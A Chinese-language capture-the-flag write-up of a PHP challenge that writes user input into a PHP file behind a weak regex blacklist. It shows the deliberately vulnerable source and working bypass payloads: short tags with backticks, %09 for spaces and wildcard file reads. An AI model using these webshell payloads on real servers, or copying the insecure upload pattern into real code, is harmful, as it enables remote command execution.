<?php error_reporting(0); highlight_file(__FILE__); function check($input){ if(preg_match("/‘| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/‘| |_|=|php/",$input)){ die(‘hacker!!!‘); }else{ return $input; } } function waf($input){ if(is_array($input)){ foreach($input as $key=>$output){ $input[$key] = waf($output); } }else{ $input = check($input); } } $dir = ‘sandbox/‘ . md5($_SERVER[‘REMOTE_ADDR‘]) . ‘/‘; if(!file_exists($dir)){ mkdir($dir); } switch($_GET["action"] ?? "") { case ‘pwd‘: echo $dir; break; case ‘upload‘: $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data); } ?>
代码审计
check是个 黑名单过滤
waf是调用check对数组检测
最后是get传参,传入action的值有两种情况,
传入pwd打印目录
action=pwd
action=upload
可以上传data到index.php
思路很简单了上传一句话木马即可
正则过滤了:“/‘| |_|php|;|~|\\^|\\+|eval|{|}/i"
<?=`ls`?>
看上去过滤很多实际上不是什么都没过滤吗。。。
这里访问pwd下的路径
<?=`ls%09/`?>
<?=`cat%09/f*`?>
本质上是个简单题目
实际上准备写一道存储式xss,但是死活收不到cookie,环境貌似有问题
先随便找了到300人的题目,但是没想到这么简单
但是还是总结一下吧,首先过滤了php,短标签即可
<?=***?>
空格过滤了%09啥的都可以绕过
至于目标文件文件名带空格,不能用%09,通配符绕过
另外一个小知识点:
a?b:c 三目运算符,没啥好说的
a?:b a为真返回 否则返回b
a??b a存在(不为null)返回a,否则返回b